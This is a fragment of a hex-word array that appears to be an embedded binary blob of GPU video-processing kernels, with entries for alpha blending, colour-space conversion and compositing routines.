0x0001dfe0, 0x0001e6d0, 0x0001ecd0, 0x0001f090, 0x0001f820, 0x0001fd20, 0x00020410, 0x00020a10,
0x00020b30, 0x00020c50, 0x00020d70, 0x00020e90, 0x00020fc0, 0x000210f0, 0x00021220, 0x00021350,
0x00021480, 0x000215b0, 0x000216d0, 0x000217e0, 0x000218f0, 0x00021a00, 0x00021b10, 0x00021c10,
0x00021d20, 0x00021f10, 0x00022020, 0x00022130, 0x00022240, 0x00022340, 0x000224e0, 0x00022680,
0x00022820, 0x000229c0, 0x00022b60, 0x00022d00, 0x00022ea0, 0x00022fe0, 0x000230e0, 0x000231f0,
0x00023a30, 0x00023ec0, 0x000240a0, 0x00024820, 0x00025070, 0x000252c0, 0x000254e0, 0x00025730,
0x00025950, 0x00025ba0, 0x00025dc0, 0x00026010, 0x00026230, 0x00026480, 0x000266a0, 0x000268f0,
0x00026b10, 0x00026d60, 0x00026f80, 0x000271d0, 0x000273f0, 0x00027650, 0x000278c0, 0x00027ae0,
0x00027d00, 0x00027f20, 0x00028140, 0x000283b0, 0x00028620, 0x00028860, 0x00028aa0, 0x00028ce0,
0x00028f20, 0x00029160, 0x000293a0, 0x000295e0, 0x00029820, 0x00029a60, 0x00029ca0, 0x00029ee0,
0x0002a120, 0x0002a360, 0x0002a5a0, 0x0002a7e0, 0x0002aa20, 0x0002ac60, 0x0002aea0, 0x0002b0e0,
0x0002b320, 0x0002b560, 0x0002b7a0, 0x0002b9e0, 0x0002bc20, 0x49504d43, 0x000e0000, 0x00000008,
0x00000418, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00020001,
0x706c4100, 0x72536168, 0x656c4263, 0x0047646e, 0x00000000, 0x00000000, 0x00000000, 0x8000006c,
0x00000020, 0x8001006d, 0x00000030, 0x3fff006b, 0x00000030, 0xbfff006e, 0x00000040, 0xbfff0078,
0x00000070, 0x3fff0001, 0x00000080, 0xbfff0070, 0x00000090, 0xbfff006f, 0x000000c0, 0x3fff006a,
0x00000100, 0x0000ffff, 0x00000b10, 0x3fff006a, 0x00000b40, 0x3fff006b, 0x00000d20, 0x3fff0077,
0x00000d80, 0x3fff0070, 0x00000db0, 0x3fff0073, 0x00000db0, 0x3fff0074, 0x00000dd0, 0x3fff0071,
0x00000dd0, 0x3fff0072, 0x00000e00, 0x3fff0076, 0x00000e10, 0x3fff0075, 0x00000e20, 0x3fff0078,
0x00000e30, 0x3fff006e, 0x00000e30, 0x3fff006f, 0x00000e50, 0x3fff006c, 0x00000e50, 0x3fff006d,
0x00000e50, 0xbfff000a, 0x00000e50, 0xbfff000b, 0x00000e50, 0xbfff000c, 0x00000e50, 0xbfff000d,
0x00000e50, 0xbfff000e, 0x00000e50, 0xbfff000f, 0x00000e50, 0xbfff0010, 0x00000e50, 0xbfff0011,
0x00000e50, 0xbfff0012, 0x00000e50, 0xbfff0013, 0x00000e50, 0xbfff0014, 0x00000e50, 0xbfff0015,
0x00000e50, 0xbfff0016, 0x00000e50, 0xbfff0017, 0x00000e50, 0xbfff0018, 0x00000e50, 0xbfff0019,
0x00000e50, 0xbfff001a, 0x00000e50, 0xbfff001b, 0x00000e50, 0xbfff001c, 0x00000e50, 0xbfff001d,
0x00000e50, 0xbfff001e, 0x00000e50, 0xbfff001f, 0x00000e50, 0xbfff0020, 0x00000e50, 0xbfff0021,
0x00000e50, 0xbfff0022, 0x00000e50, 0xbfff0023, 0x00000e50, 0xbfff0024, 0x00000e50, 0xbfff0025,
0x00000e50, 0xbfff0026, 0x00000e50, 0xbfff0027, 0x00000e50, 0xbfff0028, 0x00000e50, 0xbfff0029,
0x00000e50, 0xbfff002a, 0x00000e50, 0xbfff002b, 0x00000e50, 0xbfff002c, 0x00000e50, 0xbfff002d,
0x00000e50, 0xbfff002e, 0x00000e50, 0xbfff002f, 0x00000e50, 0xbfff0030, 0x00000e50, 0xbfff0031,
0x00000e50, 0xbfff0032, 0x00000e50, 0xbfff0033, 0x00000e50, 0xbfff0034, 0x00000e50, 0xbfff0035,
0x00000e50, 0xbfff0036, 0x00000e50, 0xbfff0037, 0x00000e50, 0xbfff0038, 0x00000e50, 0xbfff0039,
0x00000e50, 0xbfff003a, 0x00000e50, 0xbfff003b, 0x00000e50, 0xbfff003c, 0x00000e50, 0xbfff003d,
0x00000e50, 0xbfff003e, 0x00000e50, 0xbfff003f, 0x00000e50, 0xbfff0040, 0x00000e50, 0xbfff0041,
0x00000e50, 0xbfff0042, 0x00000e50, 0xbfff0043, 0x00000e50, 0xbfff0044, 0x00000e50, 0xbfff0045,
0x00000e50, 0xbfff0046, 0x00000e50, 0xbfff0047, 0x00000e50, 0xbfff0048, 0x00000e50, 0xbfff0049,
0x00000e50, 0xbfff004a, 0x00000e50, 0xbfff004b, 0x00000e50, 0xbfff004c, 0x00000e50, 0xbfff004d,
0x00000e50, 0xbfff004e, 0x00000e50, 0xbfff004f, 0x00000e50, 0xbfff0050, 0x00000e50, 0xbfff0051,
0x00000e50, 0xbfff0052, 0x00000e50, 0xbfff0053, 0x00000e50, 0xbfff0054, 0x00000e50, 0xbfff0055,
0x00000e50, 0xbfff0056, 0x00000e50, 0xbfff0057, 0x00000e50, 0xbfff0058, 0x00000e50, 0xbfff0059,
0x00000e50, 0xbfff005a, 0x00000e50, 0xbfff005b, 0x00000e50, 0xbfff005c, 0x00000e50, 0xbfff005d,
0x00000e50, 0xbfff005e, 0x00000e50, 0xbfff005f, 0x00000e50, 0xbfff0060, 0x00000e50, 0xbfff0061,
0x00000e50, 0xbfff0062, 0x00000e50, 0xbfff0063, 0x00000e50, 0xbfff0064, 0x00000e50, 0xbfff0065,
0x00000e50, 0xbfff0066, 0x00000e50, 0xbfff0067, 0x00000e50, 0xbfff0068, 0x00000e50, 0xbfff0069,
0x00000e70, 0x3fff007f, 0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001,
0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003,
0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x00000010, 0x00000005,
0x00000001, 0x0000003c, 0x00000058, 0x00000006, 0x00000001, 0x00000094, 0x00000380, 0x00000007,
0x00000001, 0x00000414, 0x00000002, 0x00000000, 0x00000000, 0x49504d43, 0x000e0000, 0x00000008,
0x000007ac, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00020001,
0x43534300, 0x3434345f, 0x0036315f, 0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000020,
0x8001006d, 0x00000030, 0x3fff006b, 0x00000030, 0xbfff006f, 0x00000040, 0x3fff0002, 0x00000040,
0xbfff006e, 0x00000050, 0xbfff0070, 0x00000090, 0x3fff000a, 0x00000090, 0x3fff000b, 0x00000090,
0x3fff000c, 0x00000090, 0x3fff000d, 0x00000090, 0x3fff000e, 0x00000090, 0x3fff000f, 0x00000090,
0x3fff0010, 0x00000090, 0x3fff0011, 0x00000090, 0x3fff0012, 0x00000090, 0x3fff0013, 0x00000090,
0x3fff0014, 0x00000090, 0x3fff0015, 0x00000090, 0x3fff0016, 0x00000090, 0x3fff0017, 0x00000090,
0x3fff0018, 0x00000090, 0x3fff0019, 0x00000090, 0x3fff001a, 0x00000090, 0x3fff001b, 0x00000090,
0x3fff001c, 0x00000090, 0x3fff001d, 0x00000090, 0x3fff001e, 0x00000090, 0x3fff001f, 0x00000090,
0x3fff0020, 0x00000090, 0x3fff0021, 0x00000090, 0x3fff0022, 0x00000090, 0x3fff0023, 0x00000090,
0x3fff0024, 0x00000090, 0x3fff0025, 0x00000090, 0x3fff0026, 0x00000090, 0x3fff0027, 0x00000090,
0x3fff0028, 0x00000090, 0x3fff0029, 0x00000090, 0x3fff002a, 0x00000090, 0x3fff002b, 0x00000090,
0x3fff002c, 0x00000090, 0x3fff002d, 0x00000090, 0x3fff002e, 0x00000090, 0x3fff002f, 0x00000090,
0x3fff0030, 0x00000090, 0x3fff0031, 0x00000090, 0x3fff0032, 0x00000090, 0x3fff0033, 0x00000090,
0x3fff0034, 0x00000090, 0x3fff0035, 0x00000090, 0x3fff0036, 0x00000090, 0x3fff0037, 0x00000090,
0x3fff0038, 0x00000090, 0x3fff0039, 0x00000090, 0x3fff003a, 0x00000090, 0x3fff003b, 0x00000090,
0x3fff003c, 0x00000090, 0x3fff003d, 0x00000090, 0x3fff003e, 0x00000090, 0x3fff003f, 0x00000090,
0x3fff0040, 0x00000090, 0x3fff0041, 0x00000090, 0x3fff0042, 0x00000090, 0x3fff0043, 0x00000090,
0x3fff0044, 0x00000090, 0x3fff0045, 0x00000090, 0x3fff0046, 0x00000090, 0x3fff0047, 0x00000090,
0x3fff0048, 0x00000090, 0x3fff0049, 0x00000090, 0x3fff004a, 0x00000090, 0x3fff004b, 0x00000090,
0x3fff004c, 0x00000090, 0x3fff004d, 0x00000090, 0x3fff004e, 0x00000090, 0x3fff004f, 0x00000090,
0x3fff0050, 0x00000090, 0x3fff0051, 0x00000090, 0x3fff0052, 0x00000090, 0x3fff0053, 0x00000090,
0x3fff0054, 0x00000090, 0x3fff0055, 0x00000090, 0x3fff0056, 0x00000090, 0x3fff0057, 0x00000090,
0x3fff0058, 0x00000090, 0x3fff0059, 0x00000090, 0x3fff005a, 0x00000090, 0x3fff005b, 0x00000090,
0x3fff005c, 0x00000090, 0x3fff005d, 0x00000090, 0x3fff005e, 0x00000090, 0x3fff005f, 0x00000090,
0x3fff0060, 0x00000090, 0x3fff0061, 0x00000090, 0x3fff0062, 0x00000090, 0x3fff0063, 0x00000090,
0x3fff0064, 0x00000090, 0x3fff0065, 0x00000090, 0x3fff0066, 0x00000090, 0x3fff0067, 0x00000090,
0x3fff0068, 0x00000090, 0x3fff0069, 0x00000090, 0xbfff0071, 0x000000a0, 0xbfff0072, 0x000000b0,
0xbfff0073, 0x000000c0, 0xbfff0074, 0x000000c0, 0xbfff0075, 0x000000d0, 0xbfff0076, 0x000000d0,
0xbfff0077, 0x000000f0, 0xbfff0078, 0x000000f0, 0xbfff0079, 0x00000110, 0xbfff007a, 0x00000110,
0xbfff007b, 0x00000170, 0xbfff007c, 0x00000170, 0xbfff007d, 0x00000460, 0xbfff007e, 0x00000820,
0x3fff007f, 0x00000020, 0x00010000, 0x00000040, 0x3fff0002, 0x000005d0, 0x3fff007e, 0x00000630,
0x3fff0079, 0x00000630, 0x3fff007a, 0x00000690, 0x3fff006f, 0x00000690, 0x3fff0070, 0x000006b0,
0x3fff0071, 0x000006b0, 0x3fff0072, 0x000006d0, 0x3fff0073, 0x000006d0, 0x3fff0074, 0x00000710,
0x3fff006c, 0x00000710, 0x3fff006d, 0x00000790, 0x3fff0075, 0x00000790, 0x3fff0076, 0x000007b0,
0x3fff007b, 0x000007c0, 0x3fff007c, 0x000007d0, 0x3fff007d, 0x000007d0, 0x3fff006b, 0x000007e0,
0x3fff006e, 0x00000810, 0x3fff0077, 0x00000810, 0x3fff0078, 0x00000810, 0xbfff000a, 0x00000810,
0xbfff000b, 0x00000810, 0xbfff000c, 0x00000810, 0xbfff000d, 0x00000810, 0xbfff000e, 0x00000810,
0xbfff000f, 0x00000810, 0xbfff0010, 0x00000810, 0xbfff0011, 0x00000810, 0xbfff0012, 0x00000810,
0xbfff0013, 0x00000810, 0xbfff0014, 0x00000810, 0xbfff0015, 0x00000810, 0xbfff0016, 0x00000810,
0xbfff0017, 0x00000810, 0xbfff0018, 0x00000810, 0xbfff0019, 0x00000810, 0xbfff001a, 0x00000810,
0xbfff001b, 0x00000810, 0xbfff001c, 0x00000810, 0xbfff001d, 0x00000810, 0xbfff001e, 0x00000810,
0xbfff001f, 0x00000810, 0xbfff0020, 0x00000810, 0xbfff0021, 0x00000810, 0xbfff0022, 0x00000810,
0xbfff0023, 0x00000810, 0xbfff0024, 0x00000810, 0xbfff0025, 0x00000810, 0xbfff0026, 0x00000810,
0xbfff0027, 0x00000810, 0xbfff0028, 0x00000810, 0xbfff0029, 0x00000810, 0xbfff002a, 0x00000810,
0xbfff002b, 0x00000810, 0xbfff002c, 0x00000810, 0xbfff002d, 0x00000810, 0xbfff002e, 0x00000810,
0xbfff002f, 0x00000810, 0xbfff0030, 0x00000810, 0xbfff0031, 0x00000810, 0xbfff0032, 0x00000810,
0xbfff0033, 0x00000810, 0xbfff0034, 0x00000810, 0xbfff0035, 0x00000810, 0xbfff0036, 0x00000810,
0xbfff0037, 0x00000810, 0xbfff0038, 0x00000810, 0xbfff0039, 0x00000810, 0xbfff003a, 0x00000810,
0xbfff003b, 0x00000810, 0xbfff003c, 0x00000810, 0xbfff003d, 0x00000810, 0xbfff003e, 0x00000810,
0xbfff003f, 0x00000810, 0xbfff0040, 0x00000810, 0xbfff0041, 0x00000810, 0xbfff0042, 0x00000810,
0xbfff0043, 0x00000810, 0xbfff0044, 0x00000810, 0xbfff0045, 0x00000810, 0xbfff0046, 0x00000810,
0xbfff0047, 0x00000810, 0xbfff0048, 0x00000810, 0xbfff0049, 0x00000810, 0xbfff004a, 0x00000810,
0xbfff004b, 0x00000810, 0xbfff004c, 0x00000810, 0xbfff004d, 0x00000810, 0xbfff004e, 0x00000810,
0xbfff004f, 0x00000810, 0xbfff0050, 0x00000810, 0xbfff0051, 0x00000810, 0xbfff0052, 0x00000810,
0xbfff0053, 0x00000810, 0xbfff0054, 0x00000810, 0xbfff0055, 0x00000810, 0xbfff0056, 0x00000810,
0xbfff0057, 0x00000810, 0xbfff0058, 0x00000810, 0xbfff0059, 0x00000810, 0xbfff005a, 0x00000810,
0xbfff005b, 0x00000810, 0xbfff005c, 0x00000810, 0xbfff005d, 0x00000810, 0xbfff005e, 0x00000810,
0xbfff005f, 0x00000810, 0xbfff0060, 0x00000810, 0xbfff0061, 0x00000810, 0xbfff0062, 0x00000810,
0xbfff0063, 0x00000810, 0xbfff0064, 0x00000810, 0xbfff0065, 0x00000810, 0xbfff0066, 0x00000810,
0xbfff0067, 0x00000810, 0xbfff0068, 0x00000810, 0xbfff0069, 0x00000820, 0x3fff007f, 0x00000000,
0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000,
0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018,
0x00000004, 0x00000000, 0x0000002c, 0x0000000c, 0x00000005, 0x00000001, 0x00000038, 0x000003b8,
0x00000006, 0x00000001, 0x000003f0, 0x000003b8, 0x00000007, 0x00000001, 0x000007a8, 0x00000002,
0x00000000, 0x49504d43, 0x000e0000, 0x00000008, 0x000007bc, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00020001, 0x43534300, 0x6572505f, 0x746c756d, 0x696c7069,
0x345f6465, 0x315f3434, 0x00000036, 0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000020,
0x8001006d, 0x00000030, 0x3fff006b, 0x00000030, 0xbfff006f, 0x00000040, 0x3fff0002, 0x00000040,
0xbfff006e, 0x00000050, 0xbfff0070, 0x00000090, 0x3fff000a, 0x00000090, 0x3fff000b, 0x00000090,
0x3fff000c, 0x00000090, 0x3fff000d, 0x00000090, 0x3fff000e, 0x00000090, 0x3fff000f, 0x00000090,
0x3fff0010, 0x00000090, 0x3fff0011, 0x00000090, 0x3fff0012, 0x00000090, 0x3fff0013, 0x00000090,
0x3fff0014, 0x00000090, 0x3fff0015, 0x00000090, 0x3fff0016, 0x00000090, 0x3fff0017, 0x00000090,
0x3fff0018, 0x00000090, 0x3fff0019, 0x00000090, 0x3fff001a, 0x00000090, 0x3fff001b, 0x00000090,
0x3fff001c, 0x00000090, 0x3fff001d, 0x00000090, 0x3fff001e, 0x00000090, 0x3fff001f, 0x00000090,
0x3fff0020, 0x00000090, 0x3fff0021, 0x00000090, 0x3fff0022, 0x00000090, 0x3fff0023, 0x00000090,
0x3fff0024, 0x00000090, 0x3fff0025, 0x00000090, 0x3fff0026, 0x00000090, 0x3fff0027, 0x00000090,
0x3fff0028, 0x00000090, 0x3fff0029, 0x00000090, 0x3fff002a, 0x00000090, 0x3fff002b, 0x00000090,
0x3fff002c, 0x00000090, 0x3fff002d, 0x00000090, 0x3fff002e, 0x00000090, 0x3fff002f, 0x00000090,
0x3fff0030, 0x00000090, 0x3fff0031, 0x00000090, 0x3fff0032, 0x00000090, 0x3fff0033, 0x00000090,
0x3fff0034, 0x00000090, 0x3fff0035, 0x00000090, 0x3fff0036, 0x00000090, 0x3fff0037, 0x00000090,
0x3fff0038, 0x00000090, 0x3fff0039, 0x00000090, 0x3fff003a, 0x00000090, 0x3fff003b, 0x00000090,
0x3fff003c, 0x00000090, 0x3fff003d, 0x00000090, 0x3fff003e, 0x00000090, 0x3fff003f, 0x00000090,
0x3fff0040, 0x00000090, 0x3fff0041, 0x00000090, 0x3fff0042, 0x00000090, 0x3fff0043, 0x00000090,
0x3fff0044, 0x00000090, 0x3fff0045, 0x00000090, 0x3fff0046, 0x00000090, 0x3fff0047, 0x00000090,
0x3fff0048, 0x00000090, 0x3fff0049, 0x00000090, 0x3fff004a, 0x00000090, 0x3fff004b, 0x00000090,
0x3fff004c, 0x00000090, 0x3fff004d, 0x00000090, 0x3fff004e, 0x00000090, 0x3fff004f, 0x00000090,
0x3fff0050, 0x00000090, 0x3fff0051, 0x00000090, 0x3fff0052, 0x00000090, 0x3fff0053, 0x00000090,
0x3fff0054, 0x00000090, 0x3fff0055, 0x00000090, 0x3fff0056, 0x00000090, 0x3fff0057, 0x00000090,
0x3fff0058, 0x00000090, 0x3fff0059, 0x00000090, 0x3fff005a, 0x00000090, 0x3fff005b, 0x00000090,
0x3fff005c, 0x00000090, 0x3fff005d, 0x00000090, 0x3fff005e, 0x00000090, 0x3fff005f, 0x00000090,
0x3fff0060, 0x00000090, 0x3fff0061, 0x00000090, 0x3fff0062, 0x00000090, 0x3fff0063, 0x00000090,
0x3fff0064, 0x00000090, 0x3fff0065, 0x00000090, 0x3fff0066, 0x00000090, 0x3fff0067, 0x00000090,
0x3fff0068, 0x00000090, 0x3fff0069, 0x00000090, 0xbfff0071, 0x000000a0, 0xbfff0072, 0x000000b0,
0xbfff0073, 0x000000b0, 0xbfff0074, 0x000000c0, 0xbfff0075, 0x000000c0, 0xbfff0076, 0x000000e0,
0xbfff0077, 0x000000e0, 0xbfff0078, 0x00000100, 0xbfff0079, 0x00000100, 0xbfff007a, 0x00000120,
0xbfff007b, 0x00000120, 0xbfff007c, 0x00000140, 0xbfff007d, 0x00000140, 0xbfff007e, 0x00000750,
0x3fff007f, 0x00000020, 0x00010000, 0x00000040, 0x3fff0002, 0x00000680, 0x3fff007d, 0x00000680,
0x3fff007e, 0x000006a0, 0x3fff006c, 0x000006a0, 0x3fff006d, 0x000006b0, 0x3fff007b, 0x000006b0,
0x3fff007c, 0x000006c0, 0x3fff0071, 0x000006c0, 0x3fff0072, 0x000006d0, 0x3fff006f, 0x000006e0,
0x3fff0070, 0x00000700, 0x3fff0075, 0x00000700, 0x3fff0076, 0x00000710, 0x3fff006b, 0x00000720,
0x3fff0077, 0x00000720, 0x3fff0078, 0x00000730, 0x3fff0073, 0x00000730, 0x3fff0074, 0x00000730,
0x3fff006e, 0x00000740, 0x3fff0079, 0x00000740, 0x3fff007a, 0x00000740, 0xbfff000a, 0x00000740,
0xbfff000b, 0x00000740, 0xbfff000c, 0x00000740, 0xbfff000d, 0x00000740, 0xbfff000e, 0x00000740,
0xbfff000f, 0x00000740, 0xbfff0010, 0x00000740, 0xbfff0011, 0x00000740, 0xbfff0012, 0x00000740,
0xbfff0013, 0x00000740, 0xbfff0014, 0x00000740, 0xbfff0015, 0x00000740, 0xbfff0016, 0x00000740,
0xbfff0017, 0x00000740, 0xbfff0018, 0x00000740, 0xbfff0019, 0x00000740, 0xbfff001a, 0x00000740,
0xbfff001b, 0x00000740, 0xbfff001c, 0x00000740, 0xbfff001d, 0x00000740, 0xbfff001e, 0x00000740,
0xbfff001f, 0x00000740, 0xbfff0020, 0x00000740, 0xbfff0021, 0x00000740, 0xbfff0022, 0x00000740,
0xbfff0023, 0x00000740, 0xbfff0024, 0x00000740, 0xbfff0025, 0x00000740, 0xbfff0026, 0x00000740,
0xbfff0027, 0x00000740, 0xbfff0028, 0x00000740, 0xbfff0029, 0x00000740, 0xbfff002a, 0x00000740,
0xbfff002b, 0x00000740, 0xbfff002c, 0x00000740, 0xbfff002d, 0x00000740, 0xbfff002e, 0x00000740,
0xbfff002f, 0x00000740, 0xbfff0030, 0x00000740, 0xbfff0031, 0x00000740, 0xbfff0032, 0x00000740,
0xbfff0033, 0x00000740, 0xbfff0034, 0x00000740, 0xbfff0035, 0x00000740, 0xbfff0036, 0x00000740,
0xbfff0037, 0x00000740, 0xbfff0038, 0x00000740, 0xbfff0039, 0x00000740, 0xbfff003a, 0x00000740,
0xbfff003b, 0x00000740, 0xbfff003c, 0x00000740, 0xbfff003d, 0x00000740, 0xbfff003e, 0x00000740,
0xbfff003f, 0x00000740, 0xbfff0040, 0x00000740, 0xbfff0041, 0x00000740, 0xbfff0042, 0x00000740,
0xbfff0043, 0x00000740, 0xbfff0044, 0x00000740, 0xbfff0045, 0x00000740, 0xbfff0046, 0x00000740,
0xbfff0047, 0x00000740, 0xbfff0048, 0x00000740, 0xbfff0049, 0x00000740, 0xbfff004a, 0x00000740,
0xbfff004b, 0x00000740, 0xbfff004c, 0x00000740, 0xbfff004d, 0x00000740, 0xbfff004e, 0x00000740,
0xbfff004f, 0x00000740, 0xbfff0050, 0x00000740, 0xbfff0051, 0x00000740, 0xbfff0052, 0x00000740,
0xbfff0053, 0x00000740, 0xbfff0054, 0x00000740, 0xbfff0055, 0x00000740, 0xbfff0056, 0x00000740,
0xbfff0057, 0x00000740, 0xbfff0058, 0x00000740, 0xbfff0059, 0x00000740, 0xbfff005a, 0x00000740,
0xbfff005b, 0x00000740, 0xbfff005c, 0x00000740, 0xbfff005d, 0x00000740, 0xbfff005e, 0x00000740,
0xbfff005f, 0x00000740, 0xbfff0060, 0x00000740, 0xbfff0061, 0x00000740, 0xbfff0062, 0x00000740,
0xbfff0063, 0x00000740, 0xbfff0064, 0x00000740, 0xbfff0065, 0x00000740, 0xbfff0066, 0x00000740,
0xbfff0067, 0x00000740, 0xbfff0068, 0x00000740, 0xbfff0069, 0x00000750, 0x3fff007f, 0x00000000,
0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000,
0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018,
0x00000004, 0x00000000, 0x0000002c, 0x0000001a, 0x00000005, 0x00000001, 0x00000048, 0x000003b8,
0x00000006, 0x00000001, 0x00000400, 0x000003b8, 0x00000007, 0x00000001, 0x000007b8, 0x00000002,
0x00000000, 0x49504d43, 0x000e0000, 0x00000008, 0x000000b8, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00010001, 0x00000015, 0x00000000, 0x00000000, 0x00000050,
0x00000002, 0x6c614300, 0x6c415f6c, 0x53616870, 0x6c426372, 0x47646e65, 0x706c4100, 0x72536168,
0x656c4263, 0x0047646e, 0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000020, 0x8001006d,
0x00000030, 0x3fff006b, 0x00000050, 0xbfff007f, 0x00000010, 0x3fff006c, 0x00000020, 0x00010000,
0x00000030, 0x3fff006b, 0x00000040, 0x3fff006d, 0x00000050, 0xbfff007f, 0x00000000, 0x00000000,
0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002,
0x00000001, 0x00000038, 0x00000008, 0x00040003, 0x00000000, 0x00000014, 0x00000024, 0x00000004,
0x00000000, 0x00000040, 0x00000024, 0x00000005, 0x00000001, 0x00000064, 0x00000028, 0x00000006,
0x00000001, 0x0000008c, 0x00000028, 0x00000007, 0x00000001, 0x000000b4, 0x00000002, 0x00000000,
0x00000000, 0x49504d43, 0x000e0000, 0x00000008, 0x000000ac, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00010001, 0x0000000a, 0x00000000, 0x00000000, 0x00000050,
0x00000002, 0x6c614300, 0x53435f6c, 0x53430043, 0x34345f43, 0x36315f34, 0x00000000, 0x00000000,
0x00000000, 0x00000000, 0x8000006c, 0x00000020, 0x8001006d, 0x00000030, 0x3fff006b, 0x00000050,
0xbfff007f, 0x00000010, 0x3fff006c, 0x00000020, 0x00010000, 0x00000030, 0x3fff006b, 0x00000040,
0x3fff006d, 0x00000050, 0xbfff007f, 0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000,
0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x00000038, 0x00000008,
0x00040003, 0x00000000, 0x00000014, 0x00000024, 0x00000004, 0x00000000, 0x00000040, 0x00000015,
0x00000005, 0x00000001, 0x00000058, 0x00000028, 0x00000006, 0x00000001, 0x00000080, 0x00000028,
0x00000007, 0x00000001, 0x000000a8, 0x00000002, 0x00000000, 0x49504d43, 0x000e0000, 0x00000008,
0x000000c8, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00010001,
0x00000018, 0x00000000, 0x00000000, 0x00000050, 0x00000002, 0x6c614300, 0x53435f6c, 0x72505f43,
0x6c756d65, 0x6c706974, 0x00646569, 0x5f435343, 0x6d657250, 0x69746c75, 0x65696c70, 0x34345f64,
0x36315f34, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000020, 0x8001006d,
0x00000030, 0x3fff006b, 0x00000050, 0xbfff007f, 0x00000010, 0x3fff006c, 0x00000020, 0x00010000,
0x00000030, 0x3fff006b, 0x00000040, 0x3fff006d, 0x00000050, 0xbfff007f, 0x00000000, 0x00000000,
0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002,
0x00000001, 0x00000038, 0x00000008, 0x00040003, 0x00000000, 0x00000014, 0x00000024, 0x00000004,
0x00000000, 0x00000040, 0x00000031, 0x00000005, 0x00000001, 0x00000074, 0x00000028, 0x00000006,
0x00000001, 0x0000009c, 0x00000028, 0x00000007, 0x00000001, 0x000000c4, 0x00000002, 0x00000000,
0x00000000, 0x49504d43, 0x000e0000, 0x00000008, 0x00000098, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00010001, 0x0000000d, 0x00000000, 0x00000000, 0x00000040,
0x00000002, 0x6c614300, 0x6f435f6c, 0x45726f6c, 0x6c6f4300, 0x0045726f, 0x00000000, 0x00000000,
0x00000000, 0x8000006c, 0x00000020, 0x8001006d, 0x00000040, 0xbfff007f, 0x00000010, 0x3fff006c,
0x00000020, 0x00010000, 0x00000030, 0x3fff006d, 0x00000040, 0xbfff007f, 0x00000000, 0x00000000,
0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002,
0x00000001, 0x00000038, 0x00000008, 0x00040003, 0x00000000, 0x00000014, 0x00000024, 0x00000004,
0x00000000, 0x00000040, 0x00000014, 0x00000005, 0x00000001, 0x00000054, 0x00000020, 0x00000006,
0x00000001, 0x00000074, 0x00000020, 0x00000007, 0x00000001, 0x00000094, 0x00000002, 0x00000000,
0x00000000, 0x49504d43, 0x000e0000, 0x00000008, 0x000000b8, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00010001, 0x00000010, 0x00000000, 0x00000000, 0x00000050,
0x00000002, 0x6c614300, 0x6f435f6c, 0x736f706d, 0x00657469, 0x706d6f43, 0x7469736f, 0x34345f65,
0x36315f34, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000020, 0x8001006d,
0x00000030, 0x3fff006b, 0x00000050, 0xbfff007f, 0x00000010, 0x3fff006c, 0x00000020, 0x00010000,
0x00000030, 0x3fff006b, 0x00000040, 0x3fff006d, 0x00000050, 0xbfff007f, 0x00000000, 0x00000000,
0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002,
0x00000001, 0x00000038, 0x00000008, 0x00040003, 0x00000000, 0x00000014, 0x00000024, 0x00000004,
0x00000000, 0x00000040, 0x00000021, 0x00000005, 0x00000001, 0x00000064, 0x00000028, 0x00000006,
0x00000001, 0x0000008c, 0x00000028, 0x00000007, 0x00000001, 0x000000b4, 0x00000002, 0x00000000,
0x00000000, 0x49504d43, 0x000e0000, 0x00000008, 0x000000b8, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00010001, 0x00000011, 0x00000000, 0x00000000, 0x00000050,
0x00000002, 0x6c614300, 0x6f435f6c, 0x4274736e, 0x646e656c, 0x6e6f4300, 0x6c427473, 0x5f646e65,
0x5f343434, 0x00003631, 0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000020, 0x8001006d,
0x00000030, 0x3fff006b, 0x00000050, 0xbfff007f, 0x00000010, 0x3fff006c, 0x00000020, 0x00010000,
0x00000030, 0x3fff006b, 0x00000040, 0x3fff006d, 0x00000050, 0xbfff007f, 0x00000000, 0x00000000,
0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002,
0x00000001, 0x00000038, 0x00000008, 0x00040003, 0x00000000, 0x00000014, 0x00000024, 0x00000004,
0x00000000, 0x00000040, 0x00000023, 0x00000005, 0x00000001, 0x00000064, 0x00000028, 0x00000006,
